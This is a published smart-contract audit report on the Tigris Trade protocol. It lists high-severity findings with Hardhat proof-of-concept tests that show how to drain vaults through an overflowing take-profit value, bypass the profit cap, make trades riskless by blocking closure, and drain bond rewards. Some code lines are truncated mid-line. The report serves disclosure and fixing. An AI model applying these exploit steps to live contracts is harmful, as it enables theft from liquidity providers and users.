Tigris Trade contest
Findings & Analysis Report

2023-02-17

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit contest outlined in this document, C4 conducted an analysis of the Tigris Trade contest smart contract system written in Solidity. The audit contest took place between December 9—December 16 2022.

Wardens

89 Wardens contributed reports to the Tigris Trade contest:

1. 0Kage
2. 0x4non

3. 0x52
4. 0xA5DF
5. 0xDecorativePineapple
6. 0xNazgul
7. 0xSmartContract
8. 0xbepresent
9. 0xdeadbeef0x
10. 0xhacksmithh
11. 0xmuxyz
12. 0xsomeone
13. 8olidity
14. Avci (0xArshia and 0xdanial)
15. Aymen0909
16. Bobface
17. Critical
18. Deekshith99
19. Deivitto
20. Dinesh11G
21. Englave
22. Ermaniwe
23. Faith
24. HE1M
25. HollaDieWaldfee
26. lllllll
27. JC
28. Jeiwan
29. JohnnyTime
30. KingNFT
31. Madalad

32. Mukund
33. ReyAdmirado
34. Rolezn
35. Ruhum
36. SamGMK
37. Secureverse (imkapadia, Nsecv and leosathya)
38. SmartSek (0xDjango and hake)
39. Tointer
40. UniversalCrypto (amaechieth and tettehnetworks)
41. __141345__
42. ak1
43. ali_shehab
44. aviggiano
45. bin2chen
46. brgltd
47. c3phas
48. carlitox477
49. cccz
50. chaduke
51. chrisdior4
52. csanuragjain
53. debo
54. eierina
55. francoHacker
56. fs0c
57. gz627
58. gzeon
59. hansfriese
60. hihen

61. imare
62. izhelyazkov
63. jadezti
64. joestakey
65. kaliberpoziomka8552
66. koxuan
67. kwhuo68
68. ladboy233
69. minhtrng
70. mookimgo
71. noot
72. orion
73. peanuts
74. philogy
75. pwnforce
76. rbserver
77. rotcivegaf
78. rvierdiiev
79. sha256yan
80. stealthyz
81. unforgiven
82. wait
83. yixxas
84. yjrwkk

This contest was judged by Alex the Entreprenerd.

Final report assembled by itsmetechjay.

Summary

The C4 analysis yielded an aggregated total of 35 unique vulnerabilities. Of these vulnerabilities, 11 received a risk rating in the category of HIGH severity and 24 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 12 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 7 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Tigris Trade contest repository, and is composed of 22 smart contracts written in the Solidity programming language and includes 2,477 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (11)

[H-01] Lock.sol: assets deposited with Lock.extendLock function are lost

Submitted by HollaDieWaldfee, *also found by* sha256yan, kaliberpoziomka8552, 0xsomeone, cccz, 0xbepresent, ali_shehab, Ruhum, rvierdiiev, *and* csanuragjain

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L10

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L61-L76

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L84-L92

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L98-L105

Impact

The `Lock` contract (https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L10) allows end-users to interact with bonds.

There are two functions that allow to lock some amount of assets. The first function is `Lock.lock` (https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L61-L76) which creates a new bond. The second function is `Lock.extendLock` (https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L84-L92). This function extends the lock for some `_period` and / or increases the locked amount by some `_amount`.

The issue is that the `Lock.extendLock` function does not increase the value in `totalLocked[_asset]`. This however is necessary because `totalLocked[_asset]` is reduced when `Lock.release` (https://github.com/code-423n4/2022-12-

tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L98-L105) is called.

Therefore only the amount of assets deposited via `Lock.lock` can be released again. The amount of assets deposited using `Lock.extendLock` can never be released again because reducing `totalLocked[_asset]` will cause a revert due to underflow.

So the amount of assets deposited using `Lock.extendLock` is lost.

Proof of Concept

1. User A calls `Lock.lock` to lock a certain `_amount` (amount1) of `_asset` for a certain `_period`.
2. User A calls then `Lock.extendLock` and increases the locked amount of the bond by some amount2
3. User A waits until the bond has expired
4. User A calls `Lock.release`. This function calculates `totalLocked[asset] -= lockAmount;`. Which will cause a revert because the value of `totalLocked[asset]` is only amount1

You can add the following test to the `Bonds` test in `Bonds.js`:

```
describe("ReleaseUnderflow", function () {
    it("release can cause underflow", async function () {
        await stabletoken.connect(owner).mintFor(user.address, e
        // Lock 100 for 9 days
        await lock.connect(user).lock(StableToken.address, ether

        await bond.connect(owner).setManager(lock.address);

        await stabletoken.connect(user).approve(lock.address, et

        // Lock another 10
        await lock.connect(user).extendLock(1, ethers.utils.pars

        await network.provider.send("evm_increaseTime", [864000]
        await network.provider.send("evm_mine");

        // Try to release 110 after bond has expired -> Underflo
        await lock.connect(user).release(1);
```

```
        });
    });
```

Run it with `npx hardhat test --grep "release can cause underflow"`.
You can see that it fails because it causes an underflow.

Tools Used

VS Code

Recommended Mitigation Steps

Add `totalLocked[_asset] += amount` to the `Lock.extendLock` function.

TriHaz (Tigris Trade) confirmed

Alex the Entreprenerd (judge) commented:

> The warden has shown an issue with accounting that will cause principal deposits added via `extendLock` to be lost, for this reason I agree with High Severity.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419172200

[H-02] Riskless trades due to delay check

Submitted by **Bobface**

`Trading.limitClose()` uses `_checkDelay()`. This allows for riskless trades, by capturing price rises through increasing the stop-loss, while preventing the underwater position to be closed in case of the price dropping by continuously increasing the delay.

Detailed description

A malicious trader can exploit the `Trading` contract to achieve riskless trades. In the worst-case scenario, the trader can always close the trade break-even, while in a good scenario the trader captures all upside price movement.

The exploit is based on three principles:

1. The stop-loss of a position can be updated without any delay checks, due to `_checkDelay()` not being called in `updateTpSl()`
2. Positions can only be closed by MEV bots or other third parties after the block delay has been passed due to `limitClose` calling `_checkDelay()`
3. The block delay can be continuously renewed for a negligible cost

Based on these three principles, the following method can be used to perform riskless trades: Assuming a current market price of 1,000 DAI, begin by opening a long limit order through `initiateLimitOrder()` at the current market price of 1,000 DAI and stop-loss at the exact market price of 1,000 DAI. Then immediately execute the limit order through `executeLimitOrder`.

After the block delay has passed, MEV bots or other third parties interested in receiving a percentage reward for closing the order would call `limitClose`. However, we can prevent them from doing so by continuously calling `addToPosition` with 1 wei when the block delay comes close to running out *[1]*, which will renew the delay and thus stops `limitClose` from being called.

While the trader keeps renewing the delay to stop his position from being closed, he watches the price development:

- If the price goes **down**, the trader will not make any loss, since he still has his original stop-loss set. He just has to make sure that the price does not drop too far to be liquidated through `liquidatePosition()`. If the price comes close to the liquidation zone, he stops renewing the delay and closes the position break-even for the initial stop-loss price even though the price is down significantly further. He can also choose to do that at any other point in time if he decides the price is unlikely to move upward again.
- If the price goes **up**, the trader calls `updateTpSl()` to lock in the increased price. For example, if the price moves from 1,000 DAI to 2,000 DAI, he calls `updateTpSl()` with 2,000 DAI as stop-loss. Even if the price drops below 2,000

DAI again, the stop-loss is stored. This function can be called while the delay is still in place because there is no call to `_checkDelay()`.

The trader keeps calling `updateTpSl()` when the price reaches a new high since he opened the position initially to capture all upside movement. When he decides that the price has moved high enough, he finally lets the delay run out and calls `limitClose()` to close the order at the peak stop-loss.

Notes [1]: Tigris Trade also plans to use L2s such as Arbitrum where there is one block per transaction. This could bring up the false impression that the trader would have to make lots of calls to `addToPosition` after every few transactions on the chain. However, `block.number`, which is used by the contract, actually returns the L1 block number and not the L2 block number.

Recommended Mitigation Steps

The core issue is that the position cannot be closed even if it is below the stop-loss due to constantly renewing the delay. The delay checking in `limitClose()` should be modified to also consider whether the position is below the stop-loss.

Proof of Concept

Insert the following code as test into `test/07.Trading.js` and run it with `npx hardhat test test/07.Trading.js`:

```
    describe("PoC", function () {
        it.only("PoC", async function () {
          // Setup token balances and approvals
          const mockDAI = await ethers.getContractAt("MockERC20", Mo
          await mockDAI.connect(owner).transfer(user.address, parseE
          await mockDAI.connect(owner).transfer(stablevault.address,
          await mockDAI.connect(user).approve(trading.address, parse
          const daiAtBeginning = await mockDAI.balanceOf(user.addres
          const permitData = [
            "0",
            "0",
            "0",
            "0x0000000000000000000000000000000000000000000000000
            "0x0000000000000000000000000000000000000000000000000
            false
          ]
```

```
// Setup block delay to 5 blocks
const blockDelay = 5;
await trading.connect(owner).setBlockDelay(blockDelay)



// ====================================================
// ================== Create the limit order ==========
// ====================================================
const tradeInfo = [
  parseEther("9000"),       // margin amount
  MockDAI.address,          // margin asset
  StableVault.address,      // stable vault
  parseEther("2"),          // leverage
  0,                        // asset id
  true,                     // direction (long)
  parseEther("0"),          // take profit price
  parseEther("1000"),       // stop loss price
  ethers.constants.HashZero // referral
];

// Create the order
await trading.connect(user).initiateLimitOrder(
  tradeInfo,            // trade info
  1,                    // order type (limit)
  parseEther("1000"),   // price
  permitData,           // permit
  user.address          // trader
)



// ====================================================
// ================== Execute the limit order =========
// ====================================================

// Wait for some blocks to pass the delay
await network.provider.send("evm_increaseTime", [10])
for (let n = 0; n < blockDelay; n++) {
  await network.provider.send("evm_mine")
}

// Create the price data (the price hasn't changed)
let priceData = [
```

```
    node.address,                                    // provi
    0,                                               // asset
    parseEther("1000"),                              // price
    10000000,                                        // sprea
    (await ethers.provider.getBlock()).timestamp,    // times
    false                                            // is cl
  ]

  // Sign the price data
  let message = ethers.utils.keccak256(
    ethers.utils.defaultAbiCoder.encode(
      ['address', 'uint256', 'uint256', 'uint256', 'uint256'
      [priceData[0], priceData[1], priceData[2], priceData[3
    )
  );
  let sig = await node.signMessage(
    Buffer.from(message.substring(2), 'hex')
  )

  // Execute the limit order
  await trading.connect(user).executeLimitOrder(1, priceData
```

```
  // ========================================================
  // ================== Block bots from closing ============
  // ========================================================

  for (let i = 0; i < 5; i++) {

    /*
      This loop demonstrates blocking bots from closing the
      We constantly add 1 wei to the position when the delay
      This won't change anything about our position, but it
      stopping bots from calling `limitClose()`.

      This means that if the price drops, we can keep our po
      And if the price rises, we can push the stop loss high

      The loop runs five times just to demonstrate. In reali
    */
```

```
// Blocks advanced to one block before the delay would p
await network.provider.send("evm_increaseTime", [10])
for (let n = 0; n < blockDelay - 1; n++) {
  await network.provider.send("evm_mine")
}



// ======================================================
// ========== Add 1 wei to position (price is down)  ===
// ======================================================

// Increase delay by calling addToPosition with 1 wei
// Create the price data
priceData = [
  node.address,                                    // pro
  0,                                               // ass
  parseEther("900"),                               // pri
  10000000,                                        // spr
  (await ethers.provider.getBlock()).timestamp,    // tim
  false                                            // is
]

// Sign the price data -
message = ethers.utils.keccak256(
  ethers.utils.defaultAbiCoder.encode(
    ['address', 'uint256', 'uint256', 'uint256', 'uint25
    [priceData[0], priceData[1], priceData[2], priceData
  )
);
sig = await node.signMessage(
  Buffer.from(message.substring(2), 'hex')
)

// Add to position
await trading.connect(user).addToPosition(
  1,
  "1",
  priceData,
  sig,
  stablevault.address,
  MockDAI.address,
  permitData,
  user.address,
)
```

```
// ========================================================
// ====================== Bots cannot close ===============
// ========================================================

// Bots cannot close the position even if the price is d
await expect(trading.connect(user).limitClose(
  1,          // id
  false,      // take profit
  priceData,  // price data
  sig,        // signature
)).to.be.revertedWith("0") // checkDelay

// They can also not liquidate the position because the
// If the price falls close to the liquidation zone, we
// the position, netting us the stop-loss price.
await expect(trading.connect(user).liquidatePosition(
  1,          // id
  priceData,  // price data
  sig,        // signature
)).to.be.reverted




// ========================================================
// ============== Increase SL when price is up  ===========
// ========================================================

// Sign the price data (price has 5x'ed from initial pri
priceData = [
  node.address,                                    // pro
  0,                                               // ass
  parseEther("5000"),                              // pri
  10000000,                                        // spr
  (await ethers.provider.getBlock()).timestamp,    // tim
  false                                            // is
]
message = ethers.utils.keccak256(
  ethers.utils.defaultAbiCoder.encode(
    ['address', 'uint256', 'uint256', 'uint256', 'uint25
    [priceData[0], priceData[1], priceData[2], priceData
  )
);
```

```
  sig = await node.signMessage(
    Buffer.from(message.substring(2), 'hex')
  )

  // Update stop loss right at the current price
  await trading.connect(user).updateTpSl(
    false,                  // type (sl)
    1,                      // id
    parseEther("5000"),     // sl price
    priceData,              // price data
    sig,                    // signature
    user.address,          // trader
  )
}




// ========================================================
// ======================== Close order  ==================
// ========================================================

// When we are happy with the profit, we stop increasing t

// Wait for some blocks to pass the delay
await network.provider.send("evm_increaseTime", [10])
for (let n = 0; n < blockDelay; n++) {
  await network.provider.send("evm_mine")
}

// Close order
await trading.connect(user).limitClose(
  1,           // id
  false,       // take profit
  priceData,   // price data
  sig,         // signature
)

// Withdraw to DAI
const amount = await stabletoken.balanceOf(user.address)
await stablevault.connect(user).withdraw(MockDAI.address,

// Print results
const daiAtEnd = await mockDAI.balanceOf(user.address)
const tenPow18 = "10000000000000000000"
```

```
        const diff = (daiAtEnd - daiAtBeginning).toString() / tenP
        console.log(`Profit: ${diff} DAI`)
    })
})
```

GainsGoblin (Tigris Trade) confirmed

Alex the Entreprenerd (judge) commented:

> The warden has shown how, through the combination of: finding a way to re-trigger the delayCheck, altering SL and TP prices, a trader can prevent their position from being closed, creating the opportunity for riskless trades.

> Because of the broken invariants, and the value extraction shown, I agree with High Severity.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419173125

[H-03] Certain fee configuration enables vaults to be drained

Submitted by Bobface

An overflow in `TradingLibrary.pnl()` enables all funds from the vault contracts to be drained given a certain fee configuration is present.

Detailed exploit process description

When opening a position, any value can be passed as take-profit price. This value is later used in the PNL calculation in an `unchecked` block. Setting this value specifically to attack the vault leads to the `Trading` contract minting a huge (in the example below `10^36`) Tigris tokens, which can then be given to the vault to withdraw assets.

The exploiter starts by setting himself as referrer, in order to later receive the referrer fees.

The next step is to open a short position at the current market price by calling `initiateLimitOrder()`. Here, the malicious value which will later bring the arithmetic to overflow is passed in as take-profit price. For the example below, the value has been calculated by hand to be `115792089237316195423570985008687907854269984665640564039467` for this specific market price, leverage and margin.

The order is then immediately executed through `executeLimitOrder()`.

The final step is to close the order through `limitClose()`, which will then mint over `10^36` Tigris tokens to the attacker.

Detailed bug description

The bug takes place in `TradingLibrary.pnl()`, line 46. The function is called during the process of closing the order to calculate the payout and position size. The malicious take-profit is passed as `_currentPrice` and the order's original opening price is passed as `_price`. The take-profit has been specifically calculated so that `1e18 * _currentPrice / _price - 1e18` results in `0`, meaning `_payout = _margin` (`accInterest` is negligible for this PoC). Line 48 then calculates the position size. Margin and leverage have been chosen so that `_initPositionSize * _currentPrice` does not overflow, resulting in a huge `_positionSize` which is returned from the function.

Later, `Trading._handleCloseFees()` is called, under the condition that `_payout > 0`, which is why the overflow had to be calculated so precisely, as to not subtract from the `_payout` but still create a large `_positionSize`. `_positionSize` is passed in to this function, and it is used to calculate DAO and referral fees. Line 805 is what requires the specific fee configuration to be present, as otherwise this line would revert. The fees have to be `daoFees = 2*referralFees` — not exactly, but close to this relationship. Then line 792 will set the DAO fees close to zero, while the huge `referralFees` are directly minted and not included in the calculation in line 805.

Recommended Mitigation Steps

The core issue is that the arithmetic in `TradingLibrary.pnl()` overflows. I recommend removing the `unchecked` block.

Proof of Concept

Insert the following code as test into `test/07.Trading.js` and run it with `npx hardhat test test/07.Trading.js`:

```
    describe("PoC", function () {
        it.only("PoC", async function () {
          // Setup token balances and approvals
          const mockDAI = await ethers.getContractAt("MockERC20", Mo
          await mockDAI.connect(owner).transfer(user.address, parseE
          await mockDAI.connect(user).approve(trading.address, parse
          const permitData = [
            "0",
            "0",
            "0",
            "0x0000000000000000000000000000000000000000000000000000
            "0x0000000000000000000000000000000000000000000000000000
            false
          ]

          // Create referral code
          await referrals.connect(user).createReferralCode(ethers.co

          // Set the fees
          await trading.connect(owner).setFees(
            false,         // close
            "200000000",   // dao
            "0",           // burn
            "100000000",   // referral
            "0",           // bot
            "0",           // percent
          )


          // ================================================
          // ================== Create the limit order ======
          // ================================================
          const tradeInfo = [
            parseEther("1"),          // margin amount
            MockDAI.address,          // margin asset
            StableVault.address,      // stable vault
            parseEther("2"),          // leverage
            0,                        // asset id
            false,                    // direction (short)
            "115792089237316195423570985008687907854269984665640
```

```
  parseEther("0"),       // stop loss price
  ethers.constants.HashZero // referral (ourself)
];

// Create the order
await trading.connect(user).initiateLimitOrder(
  tradeInfo,            // trade info
  1,                    // order type (limit)
  parseEther("1000"),   // price
  permitData,           // permit
  user.address          // trader
)



// ========================================================
// ================== Execute the limit order ============
// ========================================================

// Wait for some blocks to pass the delay
await network.provider.send("evm_increaseTime", [10])
await network.provider.send("evm_mine")

// Create the price data
let priceData = [
  node.address,                                  // provi
  0,                                             // asset
  parseEther("1000"),                            // price
  10000000,                                      // sprea
  (await ethers.provider.getBlock()).timestamp,  // times
  false                                          // is cl
]

// Sign the price data
let message = ethers.utils.keccak256(
  ethers.utils.defaultAbiCoder.encode(
    ['address', 'uint256', 'uint256', 'uint256', 'uint256'
    [priceData[0], priceData[1], priceData[2], priceData[3
  )
);
let sig = await node.signMessage(
  Buffer.from(message.substring(2), 'hex')
)

// Execute the limit order
await trading.connect(user).executeLimitOrder(1, priceData
```

```
        // ====================================================
        // ======================== Close order  ==============
        // ====================================================

        // Wait for some blocks to pass the delay
        await network.provider.send("evm_increaseTime", [10])
        await network.provider.send("evm_mine")

        // Close order
        await trading.connect(user).limitClose(
          1,          // id
          true,       // take profit
          priceData,  // price data
          sig,        // signature
        )

        // Print results
        const amount = await stabletoken.balanceOf(user.address)
        const tenPow18 = "10000000000000000000"
        console.log(`StableToken balance at end: ${(amount / tenPo
    })
})
```

[TriHaz (Tigris Trade) confirmed]

[Alex the Entreprenerd (judge) commented]:

> In contrast to other reports that have some ambiguity, this report has shown a way to undercollateralize the vault and steal effectively all value.

> The Warden has shown how, by leveraging `unchecked` math and using injected-inputs, it's possible to effectively mint an infinite amount of Stable Tokens.

> Mitigation will require ensuring that user provided inputs do not allow for overflows.

[GainsGoblin (Tigris Trade) resolved]:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419173668

[H-04] Bypass the maximum PnL check to take extra profit

Submitted by KingNFT

To protect the fund of vault, the protocol has a security mechanism which limits:

```
Maximum PnL is +500%.
```

source: https://docs.tigris.trade/protocol/trading-and-fees#limitations

But the implementation is missing to check this limitation while `addToPosition()`, an attacker can exploit it to get more profit than expected.

Proof of Concept

The following test case shows both normal case and the exploit scenario.

In the normal case, a 990 USD margin, gets back a 500% of 4950 USD payout, and the profit is 3960 USD.

In the exploit case, the attack will get an extra 2600+ USD profit than the normal case.

```
const { expect } = require("chai");
const { deployments, ethers, waffle } = require("hardhat");
const { parseEther, formatEther } = ethers.utils;
const { signERC2612Permit } = require('eth-permit');
const exp = require("constants");

describe("Design Specification: Maximum PnL is +500%", function

  let owner;
  let node;
  let user;
  let node2;
  let node3;
```

```
let proxy;

let Trading;
let trading;

let TradingExtension;
let tradingExtension;

let TradingLibrary;
let tradinglibrary;

let StableToken;
let stabletoken;

let StableVault;
let stablevault;

let position;

let pairscontract;
let referrals;

let permitSig;
let permitSigUsdc;

let MockDAI;
let mockdai;
let MockUSDC;
let mockusdc;

let badstablevault;

let chainlink;

beforeEach(async function () {
  await deployments.fixture(['test']);
  [owner, node, user, node2, node3, proxy] = await ethers.getS
  StableToken = await deployments.get("StableToken");
  stabletoken = await ethers.getContractAt("StableToken", Stab
  Trading = await deployments.get("Trading");
  trading = await ethers.getContractAt("Trading", Trading.addr
  await trading.connect(owner).setMaxWinPercent(5e10);
  TradingExtension = await deployments.get("TradingExtension")
  tradingExtension = await ethers.getContractAt("TradingExtens
  const Position = await deployments.get("Position");
  position = await ethers.getContractAt("Position", Position.a
```

```
  MockDAI = await deployments.get("MockDAI");
  mockdai = await ethers.getContractAt("MockERC20", MockDAI.ad
  MockUSDC = await deployments.get("MockUSDC");
  mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.
  const PairsContract = await deployments.get("PairsContract")
  pairscontract = await ethers.getContractAt("PairsContract",
  const Referrals = await deployments.get("Referrals");
  referrals = await ethers.getContractAt("Referrals", Referral
  StableVault = await deployments.get("StableVault");
  stablevault = await ethers.getContractAt("StableVault", Stab
  await stablevault.connect(owner).listToken(MockDAI.address);
  await stablevault.connect(owner).listToken(MockUSDC.address)
  await tradingExtension.connect(owner).setAllowedMargin(Stable
  await tradingExtension.connect(owner).setMinPositionSize(Sta
  await tradingExtension.connect(owner).setNode(node.address,
  await tradingExtension.connect(owner).setNode(node2.address,
  await tradingExtension.connect(owner).setNode(node3.address,
  await network.provider.send("evm_setNextBlockTimestamp", [20
  await network.provider.send("evm_mine");
  permitSig = await signERC2612Permit(owner, MockDAI.address,
  permitSigUsdc = await signERC2612Permit(owner, MockUSDC.addr

  const BadStableVault = await ethers.getContractFactory("BadS
  badstablevault = await BadStableVault.deploy(StableToken.add

  const ChainlinkContract = await ethers.getContractFactory("M
  chainlink = await ChainlinkContract.deploy();

  TradingLibrary = await deployments.get("TradingLibrary");
  tradinglibrary = await ethers.getContractAt("TradingLibrary"
  await trading.connect(owner).setLimitOrderPriceRange(1e10);
});


describe("Bypass the maximum PnL check to take extra profit",
  let orderId;
  let closePriceData;
  let closeSig;
  let initPrice = parseEther("1000");
  let closePrice = parseEther("2000");
  beforeEach(async function () {
    let maxWin = await trading.maxWinPercent();
    expect(maxWin.eq(5e10)).to.equal(true);

    let TradeInfo = [parseEther("1000"), MockDAI.address, Stab
    let PriceData = [node.address, 1, initPrice, 0, 2000000000
```

```
    let message = ethers.utils.keccak256(
      ethers.utils.defaultAbiCoder.encode(
        ['address', 'uint256', 'uint256', 'uint256', 'uint256'
        [node.address, 1, initPrice, 0, 2000000000, false]
      )
    );
    let sig = await node.signMessage(
      Buffer.from(message.substring(2), 'hex')
    );

    let PermitData = [permitSig.deadline, ethers.constants.Max
    orderId = await position.getCount();
    await trading.connect(owner).initiateMarketOrder(TradeInfo
    expect(await position.assetOpenPositionsLength(1)).to.equa
    let trade = await position.trades(orderId);
    let marginAfterFee = trade.margin;
    expect(marginAfterFee.eq(parseEther('990'))).to.equal(true

    // Some time later
    await network.provider.send("evm_setNextBlockTimestamp", [
    await network.provider.send("evm_mine");

    // Now the price is doubled, profit = margin * leverage =
    closePriceData = [node.address, 1, closePrice, 0, 20000010
    let closeMessage = ethers.utils.keccak256(
      ethers.utils.defaultAbiCoder.encode(
        ['address', 'uint256', 'uint256', 'uint256', 'uint256'
        [node.address, 1, closePrice, 0, 2000001000, false]
      )
    );
    closeSig = await node.signMessage(
      Buffer.from(closeMessage.substring(2), 'hex')
    );

  });

  it.only("All profit is $9900, close the order normally, only
    let balanceBefore = await stabletoken.balanceOf(owner.addr
    await trading.connect(owner).initiateCloseOrder(orderId, 1
    let balanceAfter = await stabletoken.balanceOf(owner.addre
    let marginAfterFee = parseEther("990");
    let payout = balanceAfter.sub(balanceBefore);
    expect(payout.eq(parseEther("4950"))).to.be.true;

    let profit = balanceAfter.sub(balanceBefore).sub(marginAft
    expect(profit.eq(parseEther("3960"))).to.be.true;
```

```
    });

    it.only("All profit is $9900, bypass the PnL check to take ex
      // We increase the possition first rather than closing the
      let PermitData = [permitSig.deadline, ethers.constants.Max
      let extraMargin = parseEther("1000");
      await trading.connect(owner).addToPosition(orderId, extraMa

      // 60 secs later
      await network.provider.send("evm_setNextBlockTimestamp", [2
      await network.provider.send("evm_mine");

      // Now we close the order to take all profit
      closePriceData = [node.address, 1, closePrice, 0, 20000010
      let closeMessage = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256'
          [node.address, 1, closePrice, 0, 2000001060, false]
        )
      );
      closeSig = await node.signMessage(
        Buffer.from(closeMessage.substring(2), 'hex')
      );

      let balanceBefore = await stabletoken.balanceOf(owner.addre
      await trading.connect(owner).initiateCloseOrder(orderId, 1e
      let balanceAfter = await stabletoken.balanceOf(owner.addres
      let marginAfterFee = parseEther("990").add(extraMargin.mul
      let originalProfit = parseEther("3960");
      let extraProfit = balanceAfter.sub(balanceBefore).sub(margi
      expect(extraProfit.gt(parseEther('2600'))).to.be.true;
    });

  });
});
```

The test result

```
 Design Specification: Maximum PnL is +500%
    Bypass the maximum PnL check to take extra profit
      √ All profit is $9900, close the order normally, only get 
      √ All profit is $9900, bypass the PnL check to take extra 
```

Tools Used

VS Code

Recommended Mitigation Steps

Add a check for `addToPosition()` function, revert if PnL >= 500%, enforce users to close the order to take a limited profit.

TriHaz (Tigris Trade) confirmed, but disagreed with severity and commented:

> It is valid but I think it should be Medium risk as it needs +500% win to happen so assets are not in a direct risk, need a judge opinion on this.

KingNFT (warden) commented:

> As the max leverages are 100x for crypto pairs and 500x for forex pairs, so 5% price change on crypto pairs or 1% on forex pairs lead to 500% profit. I think it would be frequent to see +500% win happening.

> In my personal opinion, the `500%` security design is a base and important feature to protect fund safety of stakers, this bug causes the feature almost not working. Maybe it deserves a high severity.

Alex the Entreprenerd (judge) commented:

> The Warden has shown how, because of a lack of checks, an attacker could bypass the PNL cap and extract more value than intended.

> While the condition of having a price movement of 500% can be viewed as external, I believe that in this specific case we have to exercise more nuance.

> An attacker could setup a contract to perform the sidestep only when favourable, meaning that while the condition may not always be met, due to volatility of pricing there always is a % (can be viewed as a poisson distribution) that a PNL bypass would favour the attacker.

> Additionally, after the CRV / AVI attack we have pretty strong evidence that any +EV scenario can be exploited as long as the payout is high enough.

> As such I believe that the finding doesn't truly rely on an external condition.

> For this reason, as well as knowing that the value extracted will be paid by LPs / the Protocol, I believe High Severity to be the most appropriate

GainsGoblin (Tigris Trade) commented:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419173887

> Implemented something similar to this report's recommended mitigation, where if PnL is >= maxPnl%-100%, then addToPosition, addMargin and removeMargin revert.

[H-05] Malicious user can steal all assets in BondNFT

Submitted by **hihen**, *also found by* **hansfriese**, **unforgiven**, **__141345__**, **rvierdiiev**, *and* **HollaDieWaldfee**

Malicious user can drain all assets in BondNFT, and other users will lose their rewards.

Proof of Concept

When calling **BondNFT.claim()** for an expired bond, it will recalculate `accRewardsPerShare`. This is because the reward after the `expireEpoch` does not belong to that expired bond and needs to be redistributed to all other bonds.

```
if (bond.expired) {
    uint _pendingDelta = (bond.shares * accRewardsPerShare[bon
    if (totalShares[bond.asset] > 0) {
        accRewardsPerShare[bond.asset][epoch[bond.asset]] += _
    }
}
```

In the current implementation of **BondNFT.claim()**, it can be called repeatedly as long as the expired bond is not released.

According to the formula in the above code, we can find that although each subsequent `claim()` of the expired bond will transfer 0 reward, the

`accRewardsPerShare` will be updated cumulatively. Thus, the pending rewards of all other users will increase every time the expired bond is `claim()` ed.

A malicious user can exploit this vulnerability to steal all assets in BondNFT contract:

1. Create two bonds (B1, B2) with different `expireEpoch`
2. At some time after B1 has expired (B2 has not), keep calling `Lock.claim(B1)` to increase rewards of B2 continuously, until the pending rewards of B2 approaches the total amount of asset in the contract.
3. Call `Lock.claim(B2)` to claim all pending rewards of B2.

An example of such an attack:

```
diff --git a/test/09.Bonds.js b/test/09.Bonds.js
index 16c3ff5..7c445c3 100644
--- a/test/09.Bonds.js
+++ b/test/09.Bonds.js
@@ -245,7 +245,90 @@ describe("Bonds", function () {
       await lock.connect(user).release(2);
       expect(await bond.pending(1)).to.be.equals("9999999999999
     });
+
+    it.only("Drain BondNFT rewards", async function () {
+      const getState = async () => {
+        const balHacker= await stabletoken.balanceOf(hacker.add
+        const balLock = await stabletoken.balanceOf(lock.addres
+        const balBond = await stabletoken.balanceOf(bond.addres
+        const [pending1, pending2, pending3] = [await bond.pend
+        return { hacker: balHacker, lock: balLock, bond: balBon
+      };
+      const parseEther = (v) => ethers.utils.parseEther(v.toStr
+      const gwei = parseEther(1).div(1e9);
+
+      // prepare tokens
+      const TotalRewards = parseEther(8000);
+      await stabletoken.connect(owner).mintFor(owner.address, T
+      await stabletoken.connect(owner).mintFor(user.address, pa
+      const hacker = rndAddress;
+      await stabletoken.connect(owner).mintFor(hacker.address,
+      await stabletoken.connect(hacker).approve(Lock.address, p
+
+      // bond1 - user
```

```
+       await lock.connect(user).lock(StableToken.address, parseE
+       await bond.distribute(stabletoken.address, parseEther(380
+       expect(await bond.pending(1)).to.be.closeTo(parseEther(38
+       // Skip some time
+       await network.provider.send("evm_increaseTime", [20*86400
+       await network.provider.send("evm_mine");
+
+       // bond2 - hacker
+       await lock.connect(hacker).lock(StableToken.address, pars
+       // bond3 - hacker
+       await lock.connect(hacker).lock(StableToken.address, pars
+
+       await bond.distribute(stabletoken.address, parseEther(210
+
+       // Skip 10+ days, bond2 is expired
+       await network.provider.send("evm_increaseTime", [13*86400
+       await network.provider.send("evm_mine");
+       await bond.distribute(stabletoken.address, parseEther(210
+
+       // check balances before hack
+       let st = await getState();
+       expect(st.bond).to.be.equals(TotalRewards);
+       expect(st.lock).to.be.equals(parseEther(3000));
